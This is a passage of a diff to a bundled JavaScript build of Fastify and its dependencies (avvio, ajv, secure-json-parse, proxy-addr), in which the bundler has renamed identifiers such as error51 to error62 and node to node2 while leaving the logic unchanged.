killAndDrain, - error: error51, + error: error62, abort }; return self2; @@ -16571,7 +16571,7 @@ var require_queue = __commonJS({ } self2.drain = noop3; } - function error51(handler) { + function error62(handler) { errorHandler = handler; } } @@ -16839,23 +16839,23 @@ var require_time_tree = __commonJS({ /** * @param {TimeTreeNode} node */ - [kTrackNode](node) { - this.tableId.set(node.id, node); - if (this.tableLabel.has(node.label)) { - this.tableLabel.get(node.label).push(node); + [kTrackNode](node2) { + this.tableId.set(node2.id, node2); + if (this.tableLabel.has(node2.label)) { + this.tableLabel.get(node2.label).push(node2); } else { - this.tableLabel.set(node.label, [node]); + this.tableLabel.set(node2.label, [node2]); } } /** * @param {TimeTreeNode} node */ - [kUntrackNode](node) { - this.tableId.delete(node.id); - const labelNode = this.tableLabel.get(node.label); + [kUntrackNode](node2) { + this.tableId.delete(node2.id); + const labelNode = this.tableLabel.get(node2.label); labelNode.pop(); if (labelNode.length === 0) { - this.tableLabel.delete(node.label); + this.tableLabel.delete(node2.label); } } /** @@ -16930,11 +16930,11 @@ var require_time_tree = __commonJS({ * @param {number|undefined} stop */ stop(nodeId, stop = Date.now()) { - const node = this[kGetNode](nodeId); - if (node) { - node.stop = stop; - node.diff = node.stop - node.start || 0; - this[kUntrackNode](node); + const node2 = this[kGetNode](nodeId); + if (node2) { + node2.stop = stop; + node2.diff = node2.stop - node2.start || 0; + this[kUntrackNode](node2); } } /** @@ -16957,12 +16957,12 @@ var require_time_tree = __commonJS({ result += `${obj.label} ${obj.diff} ms `; for (let i = 0; i < nodesCount; ++i) { - const node = obj.nodes[i]; + const node2 = obj.nodes[i]; const prefix_ = prefix + (i === lastIndex ? " " : "\u2502 "); result += prefix; result += i === lastIndex ? "\u2514\u2500" : "\u251C\u2500"; - result += node.nodes.length === 0 ? "\u2500 " : "\u252C "; - result += prettyPrintTimeTree(node, prefix_).slice(prefix.length + 2); + result += node2.nodes.length === 0 ? "\u2500 " : "\u252C "; + result += prettyPrintTimeTree(node2, prefix_).slice(prefix.length + 2); } return result; } @@ -17288,14 +17288,14 @@ var require_execute_with_thenable = __commonJS({ let result; try { result = func.apply(func, args); - } catch (error51) { + } catch (error62) { if (callback) { - process.nextTick(callback, error51); + process.nextTick(callback, error62); } return; } if (isPromiseLike(result) && !result[kAvvio]) { - result.then(() => process.nextTick(callback), (error51) => process.nextTick(callback, error51)); + result.then(() => process.nextTick(callback), (error62) => process.nextTick(callback, error62)); } else if (callback) { process.nextTick(callback); } @@ -18724,8 +18724,8 @@ var require_hooks = __commonJS({ if (fn.length === 1) { try { fn.call(server2, done); - } catch (error51) { - done(error51); + } catch (error62) { + done(error62); } return; } @@ -18735,8 +18735,8 @@ var require_hooks = __commonJS({ ret2.then(done, done); return; } - } catch (error51) { - err = error51; + } catch (error62) { + err = error62; } done(err); }; @@ -18775,8 +18775,8 @@ var require_hooks = __commonJS({ return; } done(); - } catch (error51) { - done(error51); + } catch (error62) { + done(error62); } } } @@ -18791,8 +18791,8 @@ var require_hooks = __commonJS({ let result; try { result = iterator(functions[i++], request, reply, next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18836,8 +18836,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, reply, payload, next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18876,8 +18876,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, reply, request[kRequestPayloadStream], next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18905,8 +18905,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, next); - } catch (error51) { - cb(error51, request); + } catch (error62) { + cb(error62, request); return; } if (result && typeof result.then === "function") { @@ -19418,7 +19418,7 @@ var require_validation = __commonJS({ FST_ERR_SCH_RESPONSE_SCHEMA_NOT_NESTED_2XX } = require_errors2(); var { FSTWRN001, FSTSEC002 } = require_warnings(); - function compileSchemasForSerialization(context2, compile) { + function compileSchemasForSerialization(context2, compile2) { if (!context2.schema || !context2.schema.response) { return; } @@ -19433,7 +19433,7 @@ var require_validation = __commonJS({ const contentTypesSchemas = {}; for (const mediaName of Object.keys(schema.content)) { const contentSchema = schema.content[mediaName].schema; - contentTypesSchemas[mediaName] = compile({ + contentTypesSchemas[mediaName] = compile2({ schema: contentSchema, url: url2, method, @@ -19443,7 +19443,7 @@ var require_validation = __commonJS({ } acc[statusCode] = contentTypesSchemas; } else { - acc[statusCode] = compile({ + acc[statusCode] = compile2({ schema, url: url2, method, @@ -19582,7 +19582,7 @@ var require_validation = __commonJS({ } return void 0; } - function compileSchemasForValidation(context2, compile, isCustom) { + function compileSchemasForValidation(context2, compile2, isCustom) { const { schema } = context2; if (!schema) { return; @@ -19591,14 +19591,14 @@ var require_validation = __commonJS({ const headers = schema.headers; if (headers !== void 0) { if (isCustom || typeof headers !== "object" || headers === null || Object.getPrototypeOf(headers) !== Object.prototype) { - context2[headersSchema] = compile({ schema: headers, method, url: url2, httpPart: "headers" }); + context2[headersSchema] = compile2({ schema: headers, method, url: url2, httpPart: "headers" }); } else { const headersSchemaLowerCase = lowerCaseHeadersSchema(headers); const externalRef = findExternalHeaderRef(headers); if (externalRef !== void 0) { FSTSEC002(method, url2, externalRef); } - context2[headersSchema] = compile({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); + context2[headersSchema] = compile2({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); } } else if (Object.hasOwn(schema, "headers")) { FSTWRN001("headers", method, url2); @@ -19609,22 +19609,22 @@ var require_validation = __commonJS({ const contentTypeSchemas = {}; for (const contentType of Object.keys(contentProperty)) { const contentSchema = contentProperty[contentType].schema; - contentTypeSchemas[contentType] = compile({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); + contentTypeSchemas[contentType] = compile2({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); } context2[bodySchema] = contentTypeSchemas; } else { - context2[bodySchema] = compile({ schema: schema.body, method, url: url2, httpPart: "body" }); + context2[bodySchema] = compile2({ schema: schema.body, method, url: url2, httpPart: "body" }); } } else if (Object.hasOwn(schema, "body")) { FSTWRN001("body", method, url2); } if (schema.querystring !== void 0) { - context2[querystringSchema] = compile({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); + context2[querystringSchema] = compile2({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); } else if (Object.hasOwn(schema, "querystring")) { FSTWRN001("querystring", method, url2); } if (schema.params !== void 0) { - context2[paramsSchema2] = compile({ schema: schema.params, method, url: url2, httpPart: "params" }); + context2[paramsSchema2] = compile2({ schema: schema.params, method, url: url2, httpPart: "params" }); } else if (Object.hasOwn(schema, "params")) { FSTWRN001("params", method, url2); } @@ -19662,7 +19662,7 @@ var require_validation = __commonJS({ return false; } } - function validate(context2, request, execution) { + function validate2(context2, request, execution) { const runExecution = execution === void 0; if (runExecution && context2[paramsSchema2] === void 0 && context2[bodySchema] === void 0 && context2[querystringSchema] === void 0 && context2[headersSchema] === void 0) { return false; @@ -19721,7 +19721,7 @@ var require_validation = __commonJS({ if (paramsResult) { return wrapValidationError(paramsResult, "params", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true }); + return validate2(context2, request, { skipParams: true }); }); } function validateAsyncBody(validatePromise, context2, request) { @@ -19729,7 +19729,7 @@ var require_validation = __commonJS({ if (bodyResult) { return wrapValidationError(bodyResult, "body", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true, skipBody: true }); + return validate2(context2, request, { skipParams: true, skipBody: true }); }); } function validateAsyncQuery(validatePromise, context2, request) { @@ -19737,7 +19737,7 @@ var require_validation = __commonJS({ if (queryResult) { return wrapValidationError(queryResult, "querystring", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); + return validate2(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); }); } function validateAsyncHeaders(validatePromise, context2, request) { @@ -19755,18 +19755,18 @@ var require_validation = __commonJS({ result.validationContext = result.validationContext || dataVar; return result; } - const error51 = schemaErrorFormatter(result, dataVar); - error51.statusCode = error51.statusCode || 400; - error51.code = error51.code || "FST_ERR_VALIDATION"; - error51.validation = result; - error51.validationContext = dataVar; - return error51; + const error62 = schemaErrorFormatter(result, dataVar); + error62.statusCode = error62.statusCode || 400; + error62.code = error62.code || "FST_ERR_VALIDATION"; + error62.validation = result; + error62.validationContext = dataVar; + return error62; } module.exports = { symbols: { bodySchema, querystringSchema, responseSchema, paramsSchema: paramsSchema2, headersSchema }, compileSchemasForValidation, compileSchemasForSerialization, - validate + validate: validate2 }; } }); @@ -21444,15 +21444,15 @@ var require_rfdc = __commonJS({ var require_initial_config_validation = __commonJS({ "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/initial-config-validation.js"(exports, module) { "use strict"; - var validate = require_config_validator(); + var validate2 = require_config_validator(); var deepClone = require_rfdc()({ circles: true, proto: false }); var { FST_ERR_INIT_OPTS_INVALID } = require_errors2(); function validateInitialConfig(options) { const opts = deepClone(options); - if (!validate(opts)) { - const error51 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate.errors.map((e) => e.message))); - error51.errors = validate.errors; - throw error51; + if (!validate2(opts)) { + const error62 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate2.errors.map((e) => e.message))); + error62.errors = validate2.errors; + throw error62; } return deepFreezeObject(opts); } @@ -21468,7 +21468,7 @@ var require_initial_config_validation = __commonJS({ return Object.freeze(object2); } module.exports = validateInitialConfig; - module.exports.defaultInitOptions = validate.defaultInitOptions; + module.exports.defaultInitOptions = validate2.defaultInitOptions; module.exports.utils = { deepFreezeObject }; } }); @@ -21524,12 +21524,12 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - requestCompleted(error51, request, reply, metadata) { + requestCompleted(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - if (error51) { - reply.log.error({ res: reply, err: error51, responseTime: reply.elapsedTime }, "request errored"); + if (error62) { + reply.log.error({ res: reply, err: error62, responseTime: reply.elapsedTime }, "request errored"); } else { reply.log.info({ res: reply, responseTime: reply.elapsedTime }, "request completed"); } @@ -21543,14 +21543,14 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object (must have `statusCode`). * @param {object} [metadata] Extra contextual data (unused). */ - defaultErrorLog(error51, request, reply, metadata) { + defaultErrorLog(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } if (reply.statusCode >= 500) { - reply.log.error({ req: request, res: reply, err: error51 }, error51?.message); + reply.log.error({ req: request, res: reply, err: error62 }, error62?.message); } else { - reply.log.info({ res: reply, err: error51 }, error51?.message); + reply.log.info({ res: reply, err: error62 }, error62?.message); } } /** @@ -21562,14 +21562,14 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - streamError(error51, request, reply, metadata) { + streamError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - if (error51.code === "ERR_STREAM_PREMATURE_CLOSE") { + if (error62.code === "ERR_STREAM_PREMATURE_CLOSE") { reply.log.info({ res: reply }, "stream closed prematurely"); } else { - reply.log.warn({ err: error51 }, "response terminated with an error with headers already sent"); + reply.log.warn({ err: error62 }, "response terminated with an error with headers already sent"); } } /** @@ -21595,13 +21595,13 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - writeHeadError(error51, request, reply, metadata) { + writeHeadError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } reply.log.warn( - { req: request, res: reply, err: error51 }, - error51?.message + { req: request, res: reply, err: error62 }, + error62?.message ); } /** @@ -21613,11 +21613,11 @@ var require_log_controller = __commonJS({ * @param {object} metadata Extra contextual data. * @param {number} metadata.statusCode The status code that triggered the serializer. */ - serializerError(error51, request, reply, metadata) { + serializerError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - reply.log.error({ err: error51, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); + reply.log.error({ err: error62, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); } /** * Logs a 503 Service Unavailable when the server is closing. @@ -22135,8 +22135,8 @@ var require_error_serializer = __commonJS({ const JSON_STR_EMPTY_ARRAY = JSON_STR_BEGIN_ARRAY + JSON_STR_END_ARRAY; const JSON_STR_EMPTY_STRING = JSON_STR_QUOTE + JSON_STR_QUOTE; const JSON_STR_NULL = "null"; - function anonymous0(input) { - const obj = input && typeof input.toJSON === "function" ? input.toJSON() : input; + function anonymous0(input2) { + const obj = input2 && typeof input2.toJSON === "function" ? input2.toJSON() : input2; if (obj === null) return JSON_STR_EMPTY_OBJECT; let json3 = ""; json3 += JSON_STR_BEGIN_OBJECT; @@ -22237,15 +22237,15 @@ var require_error_handler = __commonJS({ return this.func.name.toString() + "()"; } }; - function handleError(reply, error51, cb) { + function handleError(reply, error62, cb) { reply[kReplyIsRunningOnErrorHook] = false; const context2 = reply[kRouteContext]; if (reply[kReplyNextErrorHandler] === false) { - fallbackErrorHandler(error51, reply, function(reply2, payload) { + fallbackErrorHandler(error62, reply, function(reply2, payload) { try { reply2.raw.writeHead(reply2.raw.statusCode, reply2[kReplyHeaders]); - } catch (error52) { - reply2.server[kLogController].writeHeadError(error52, reply2.request, reply2); + } catch (error63) { + reply2.server[kLogController].writeHeadError(error63, reply2.request, reply2); reply2.raw.writeHead(reply2.raw.statusCode); } reply2.raw.end(payload); @@ -22259,11 +22259,11 @@ var require_error_handler = __commonJS({ const func = errorHandler.func; if (!func) { reply[kReplyNextErrorHandler] = false; - fallbackErrorHandler(error51, reply, cb); + fallbackErrorHandler(error62, reply, cb); return; } try { - const result = func(error51, reply.request, reply); + const result = func(error62, reply.request, reply); if (result !== void 0) { if (result !== null && typeof result.then === "function") { const store = reply[kDiagnosticsStore] || null; @@ -22276,13 +22276,13 @@ var require_error_handler = __commonJS({ reply.send(err); } } - function defaultErrorHandler(error51, request, reply) { - setErrorHeaders(error51, reply); - setErrorStatusCode(reply, error51); - request.server[kLogController].defaultErrorLog(error51, request, reply); - reply.send(error51); + function defaultErrorHandler(error62, request, reply) { + setErrorHeaders(error62, reply); + setErrorStatusCode(reply, error62); + request.server[kLogController].defaultErrorLog(error62, request, reply); + reply.send(error62); } - function fallbackErrorHandler(error51, reply, cb) { + function fallbackErrorHandler(error62, reply, cb) { const res = reply.raw; const statusCode = reply.statusCode; reply[kReplyHeaders]["content-type"] = reply[kReplyHeaders]["content-type"] ?? "application/json; charset=utf-8"; @@ -22292,21 +22292,21 @@ var require_error_handler = __commonJS({ if (serializerFn === false) { payload = serializeError({ error: statusCodes[statusCode + ""], - code: error51.code, - message: error51.message, + code: error62.code, + message: error62.message, statusCode }); } else { - payload = serializerFn(Object.create(error51, { + payload = serializerFn(Object.create(error62, { error: { value: statusCodes[statusCode + ""] }, - message: { value: error51.message }, + message: { value: error62.message }, statusCode: { value: statusCode } })); } } catch (err) { reply.server[kLogController].serializerError(err, reply.request, reply, { statusCode: res.statusCode }); reply.code(500); - payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error51.message)); + payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error62.message)); } if (typeof payload !== "string" && !Buffer.isBuffer(payload)) { payload = serializeError(new FST_ERR_REP_INVALID_PAYLOAD_TYPE(typeof payload)); @@ -22322,18 +22322,18 @@ var require_error_handler = __commonJS({ errorHandler.func = func; return errorHandler; } - function setErrorHeaders(error51, reply) { + function setErrorHeaders(error62, reply) { const res = reply.raw; let statusCode = res.statusCode; statusCode = statusCode >= 400 ? statusCode : 500; - if (error51 != null) { - if (error51.headers !== void 0) { - reply.headers(error51.headers); + if (error62 != null) { + if (error62.headers !== void 0) { + reply.headers(error62.headers); } - if (error51.status >= 400) { - statusCode = error51.status; - } else if (error51.statusCode >= 400) { - statusCode = error51.statusCode; + if (error62.status >= 400) { + statusCode = error62.status; + } else if (error62.statusCode >= 400) { + statusCode = error62.statusCode; } } res.statusCode = statusCode; @@ -22818,7 +22818,7 @@ var require_reply = __commonJS({ this[kRouteContext][kReplyCacheSerializeFns].set(schema, serializeFn); return serializeFn; }; - Reply.prototype.serializeInput = function(input, schema, httpStatus, contentType) { + Reply.prototype.serializeInput = function(input2, schema, httpStatus, contentType) { const possibleContentType = httpStatus; let serialize2; httpStatus = typeof schema === "string" || typeof schema === "number" ? schema : httpStatus; @@ -22840,7 +22840,7 @@ var require_reply = __commonJS({ serialize2 = this.compileSerializationSchema(schema, httpStatus, contentType); } } - return serialize2(input); + return serialize2(input2); }; Reply.prototype.serialize = function(payload) { if (this[kReplySerializer] !== null) { @@ -22931,8 +22931,8 @@ var require_reply = __commonJS({ } onSendHook(reply, payload); } - function wrapSerializationError(error51, reply) { - error51.serialization = reply[kRouteContext].config; + function wrapSerializationError(error62, reply) { + error62.serialization = reply[kRouteContext].config; } function onSendHook(reply, payload) { if (reply[kRouteContext].onSend !== null) { @@ -23230,18 +23230,18 @@ var require_reply = __commonJS({ if (reply[kReplyTrailers] === null) return; payload.on("end", () => sendTrailer(null, res, reply)); } - function onErrorHook(reply, error51, cb) { + function onErrorHook(reply, error62, cb) { if (reply[kRouteContext].onError !== null && !reply[kReplyNextErrorHandler]) { reply[kReplyIsRunningOnErrorHook] = true; onSendHookRunner( reply[kRouteContext].onError, reply.request, reply, - error51, - () => handleError(reply, error51, cb) + error62, + () => handleError(reply, error62, cb) ); } else { - handleError(reply, error51, cb); + handleError(reply, error62, cb); } } function setupResponseListeners(reply) { @@ -24204,7 +24204,7 @@ var require_proxy_addr = __commonJS({ module.exports.default = proxyaddr; module.exports.proxyaddr = proxyaddr; module.exports.all = alladdrs; - module.exports.compile = compile; + module.exports.compile = compile2; var forwarded = require_forwarded(); var ipaddr = require_ipaddr(); var DIGIT_REGEXP = /^\d+$/u; @@ -24221,7 +24221,7 @@ var require_proxy_addr = __commonJS({ return addrs; } if (typeof trust !== "function") { - trust = compile(trust); + trust = compile2(trust); } for (let i = 0; i < addrs.length - 1; i++) { if (trust(addrs[i], i)) continue; @@ -24229,7 +24229,7 @@ var require_proxy_addr = __commonJS({ } return addrs; } - function compile(val) { + function compile2(val) { if (!val) { throw new TypeError("argument is required"); } @@ -24670,24 +24670,24 @@ var require_request = __commonJS({ } }, validateInput: { - value: function(input, schema, httpPart) { + value: function(input2, schema, httpPart) { httpPart = typeof schema === "string" ? schema : httpPart; const symbol2 = httpPart != null && typeof httpPart === "string" && HTTP_PART_SYMBOL_MAP[httpPart]; - let validate; + let validate2; if (symbol2) { - validate = this[kRouteContext][symbol2]; + validate2 = this[kRouteContext][symbol2]; } - if (validate == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { + if (validate2 == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { throw new FST_ERR_REQ_INVALID_VALIDATION_INVOCATION(httpPart); } - if (validate == null) { + if (validate2 == null) { if (this[kRouteContext][kRequestCacheValidateFns]?.has(schema)) { - validate = this[kRouteContext][kRequestCacheValidateFns].get(schema); + validate2 = this[kRouteContext][kRequestCacheValidateFns].get(schema); } else { - validate = this.compileValidationSchema(schema, httpPart); + validate2 = this.compileValidationSchema(schema, httpPart); } } - return validate(input); + return validate2(input2); } }, getDecorator: { @@ -24808,7 +24808,7 @@ var require_secure_json_parse = __commonJS({ var hasBuffer = typeof Buffer !== "undefined"; var suspectProtoRx = /"(?:_|\\u005[Ff])(?:_|\\u005[Ff])(?:p|\\u0070)(?:r|\\u0072)(?:o|\\u006[Ff])(?:t|\\u0074)(?:o|\\u006[Ff])(?:_|\\u005[Ff])(?:_|\\u005[Ff])"\s*:/; var suspectConstructorRx = /"(?:c|\\u0063)(?:o|\\u006[Ff])(?:n|\\u006[Ee])(?:s|\\u0073)(?:t|\\u0074)(?:r|\\u0072)(?:u|\\u0075)(?:c|\\u0063)(?:t|\\u0074)(?:o|\\u006[Ff])(?:r|\\u0072)"\s*:/; - function _parse2(text2, reviver, options) { + function _parse3(text2, reviver, options) { if (options == null) { if (reviver !== null && typeof reviver === "object") { options = reviver; @@ -24850,25 +24850,25 @@ var require_secure_json_parse = __commonJS({ while (next.length) { const nodes = next; next = []; - for (const node of nodes) { - if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "__proto__")) { + for (const node2 of nodes) { + if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node2, "__proto__")) { if (safe === true) { return null; } else if (protoAction === "error") { throw new SyntaxError("Object contains forbidden prototype property"); } - delete node.__proto__; + delete node2.__proto__; } - if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "constructor") && node.constructor !== null && typeof node.constructor === "object" && Object.prototype.hasOwnProperty.call(node.constructor, "prototype")) { + if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node2, "constructor") && node2.constructor !== null && typeof node2.constructor === "object" && Object.prototype.hasOwnProperty.call(node2.constructor, "prototype")) { if (safe === true) { return null; } else if (constructorAction === "error") { throw new SyntaxError("Object contains forbidden prototype property"); } - delete node.constructor; + delete node2.constructor; } - for (const key in node) { - const value = node[key]; + for (const key in node2) { + const value = node2[key]; if (value && typeof value === "object") { next.push(value); } @@ -24881,7 +24881,7 @@ var require_secure_json_parse = __commonJS({ const { stackTraceLimit } = Error; Error.stackTraceLimit = 0; try { - return _parse2(text2, reviver, options); + return _parse3(text2, reviver, options); } finally { Error.stackTraceLimit = stackTraceLimit; } @@ -24890,7 +24890,7 @@ var require_secure_json_parse = __commonJS({ const { stackTraceLimit } = Error; Error.stackTraceLimit = 0; try { - return _parse2(text2, reviver, { safe: true }); + return _parse3(text2, reviver, { safe: true }); } catch { return void 0; } finally { @@ -25075,8 +25075,8 @@ var require_content_type_parser = __commonJS({ return; } const resource = new AsyncResource("content-type-parser:run", request); - function done(error51, body) { - resource.runInAsyncScope(onDone, void 0, error51, body); + function done(error62, body) { + resource.runInAsyncScope(onDone, void 0, error62, body); } if (parser.asString === true || parser.asBuffer === true) { rawBody( @@ -25094,12 +25094,12 @@ var require_content_type_parser = __commonJS({ done(null, body); }, done); } - function onDone(error51, body) { + function onDone(error62, body) { resource.emitDestroy(); - if (error51 != null) { + if (error62 != null) { reply.header("connection", "close"); reply[kReplyIsError] = true; - reply.send(error51); + reply.send(error62); return; } request.body = body; @@ -25697,9 +25697,9 @@ var require_codegen = __commonJS({ } }; var Throw = class extends Node { - constructor(error51) { + constructor(error62) { super(); - this.error = error51; + this.error = error62; } render({ _n }) { return `throw ${this.error};` + _n; @@ -25936,9 +25936,9 @@ var require_codegen = __commonJS({ } }; var Catch = class extends BlockNode { - constructor(error51) { + constructor(error62) { super(); - this.error = error51; + this.error = error62; } render(opts) { return `catch(${this.error})` + super.render(opts); @@ -26064,8 +26064,8 @@ var require_codegen = __commonJS({ endIf() { return this._endBlockNode(If, Else); } - _for(node, forBody) { - this._blockNode(node); + _for(node2, forBody) { + this._blockNode(node2); if (forBody) this.code(forBody).endFor(); return this; @@ -26114,10 +26114,10 @@ var require_codegen = __commonJS({ } // `return` statement return(value) { - const node = new Return(); - this._blockNode(node); + const node2 = new Return(); + this._blockNode(node2); this.code(value); - if (node.nodes.length !== 1) + if (node2.nodes.length !== 1) throw new Error('CodeGen: "return" should have one node'); return this._endBlockNode(Return); } @@ -26125,23 +26125,23 @@ var require_codegen = __commonJS({ try(tryBody, catchCode, finallyCode) { if (!catchCode && !finallyCode) throw new Error('CodeGen: "try" without "catch" and "finally"'); - const node = new Try(); - this._blockNode(node); + const node2 = new Try(); + this._blockNode(node2); this.code(tryBody); if (catchCode) { - const error51 = this.name("e"); - this._currNode = node.catch = new Catch(error51); - catchCode(error51); + const error62 = this.name("e"); + this._currNode = node2.catch = new Catch(error62); + catchCode(error62); } if (finallyCode) { - this._currNode = node.finally = new Finally(); + this._currNode = node2.finally = new Finally(); this.code(finallyCode); } return this._endBlockNode(Catch, Finally); } // `throw` statement - throw(error51) { - return this._leafNode(new Throw(error51)); + throw(error62) { + return this._leafNode(new Throw(error62)); } // start self-balancing block block(body, nodeCount) { @@ -26179,13 +26179,13 @@ var require_codegen = __commonJS({ this._root.optimizeNames(this._root.names, this._constants); } } - _leafNode(node) { - this._currNode.nodes.push(node); + _leafNode(node2) { + this._currNode.nodes.push(node2); return this; } - _blockNode(node) { - this._currNode.nodes.push(node); - this._nodes.push(node); + _blockNode(node2) { + this._currNode.nodes.push(node2); + this._nodes.push(node2); } _endBlockNode(N1, N2) { const n = this._currNode; @@ -26195,12 +26195,12 @@ var require_codegen = __commonJS({ } throw new Error(`CodeGen: not in block "${N2 ? `${N1.kind}/${N2.kind}` : N1.kind}"`); } - _elseNode(node) { + _elseNode(node2) { const n = this._currNode; if (!(n instanceof If)) { throw new Error('CodeGen: "else" without "if"'); } - this._currNode = n.else = node; + this._currNode = n.else = node2; return this; } get _root() { @@ -26210,9 +26210,9 @@ var require_codegen = __commonJS({ const ns = this._nodes; return ns[ns.length - 1]; } - set _currNode(node) { + set _currNode(node2) { const ns = this._nodes; - ns[ns.length - 1] = node; + ns[ns.length - 1] = node2; } }; exports.CodeGen = CodeGen; @@ -26497,10 +26497,10 @@ var require_errors3 = __commonJS({ exports.keyword$DataError = { message: ({ keyword, schemaType }) => schemaType ? (0, codegen_1.str)`"${keyword}" keyword must be ${schemaType} ($data)` : (0, codegen_1.str)`"${keyword}" keyword is invalid ($data)` }; - function reportError(cxt, error51 = exports.keywordError, errorPaths, overrideAllErrors) { + function reportError(cxt, error62 = exports.keywordError, errorPaths, overrideAllErrors) { const { it } = cxt; const { gen, compositeRule, allErrors } = it; - const errObj = errorObjectCode(cxt, error51, errorPaths); + const errObj = errorObjectCode(cxt, error62, errorPaths); if (overrideAllErrors !== null && overrideAllErrors !== void 0 ? overrideAllErrors : compositeRule || allErrors) { addError(gen, errObj); } else { @@ -26508,10 +26508,10 @@ var require_errors3 = __commonJS({ } } exports.reportError = reportError; - function reportExtraError(cxt, error51 = exports.keywordError, errorPaths) { + function reportExtraError(cxt, error62 = exports.keywordError, errorPaths) { const { it } = cxt; const { gen, compositeRule, allErrors } = it; - const errObj = errorObjectCode(cxt, error51, errorPaths); + const errObj = errorObjectCode(cxt, error62, errorPaths); addError(gen, errObj); if (!(compositeRule || allErrors)) { returnErrors(it, names_1.default.vErrors); @@ -26562,19 +26562,19 @@ var require_errors3 = __commonJS({ schema: new codegen_1.Name("schema"), parentSchema: new codegen_1.Name("parentSchema") }; - function errorObjectCode(cxt, error51, errorPaths) { + function errorObjectCode(cxt, error62, errorPaths) { const { createErrors } = cxt.it; if (createErrors === false) return (0, codegen_1._)`{}`; - return errorObject(cxt, error51, errorPaths); + return errorObject(cxt, error62, errorPaths); } - function errorObject(cxt, error51, errorPaths = {}) { + function errorObject(cxt, error62, errorPaths = {}) { const { gen, it } = cxt; const keyValues = [ errorInstancePath(it, errorPaths), errorSchemaPath(cxt, errorPaths) ]; - extraErrorProps(cxt, error51, keyValues); + extraErrorProps(cxt, error62, keyValues); return gen.object(...keyValues); } function errorInstancePath({ errorPath }, { instancePath }) { @@ -27094,8 +27094,8 @@ var require_keyword = __commonJS({ var _a3; const { gen, keyword, schema, parentSchema, $data, it } = cxt; checkAsyncKeyword(it, def); - const validate = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; - const validateRef = useKeyword(gen, keyword, validate); + const validate2 = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; + const validateRef = useKeyword(gen, keyword, validate2); const valid = gen.let("valid"); cxt.block$data(valid, validateKeyword); cxt.ok((_a3 = def.valid) !== null && _a3 !== void 0 ? _a3 : valid); @@ -27106,13 +27106,13 @@ var require_keyword = __commonJS({ modifyData(cxt); reportErrs(() => cxt.error()); } else { - const ruleErrs = def.async ? validateAsync() : validateSync(); + const ruleErrs = def.async ? validateAsync3() : validateSync(); if (def.modifying) modifyData(cxt); reportErrs(() => addErrs(cxt, ruleErrs)); } } - function validateAsync() { + function validateAsync3() { const ruleErrs = gen.let("ruleErrs", null); gen.try(() => assignValid((0, codegen_1._)`await `), (e) => gen.assign(valid, false).if((0, codegen_1._)`${e} instanceof ${it.ValidationError}`, () => gen.assign(ruleErrs, (0, codegen_1._)`${e}.errors`), () => gen.throw(e))); return ruleErrs; @@ -27522,11 +27522,11 @@ var require_resolve = __commonJS({ } return ref; } - function addAnchor(anchor) { - if (typeof anchor == "string") { - if (!ANCHOR.test(anchor)) - throw new Error(`invalid anchor "${anchor}"`); - addRef.call(this, `#${anchor}`); + function addAnchor(anchor2) { + if (typeof anchor2 == "string") { + if (!ANCHOR.test(anchor2)) + throw new Error(`invalid anchor "${anchor2}"`); + addRef.call(this, `#${anchor2}`); } } }); @@ -28168,28 +28168,28 @@ var require_compile = __commonJS({ if (this.opts.code.process) sourceCode = this.opts.code.process(sourceCode, sch); const makeValidate = new Function(`${names_1.default.self}`, `${names_1.default.scope}`, sourceCode); - const validate = makeValidate(this, this.scope.get()); - this.scope.value(validateName, { ref: validate }); - validate.errors = null; - validate.schema = sch.schema; - validate.schemaEnv = sch; + const validate2 = makeValidate(this, this.scope.get()); + this.scope.value(validateName, { ref: validate2 }); + validate2.errors = null; + validate2.schema = sch.schema; + validate2.schemaEnv = sch; if (sch.$async) - validate.$async = true; + validate2.$async = true; if (this.opts.code.source === true) { - validate.source = { validateName, validateCode, scopeValues: gen._values }; + validate2.source = { validateName, validateCode, scopeValues: gen._values }; } if 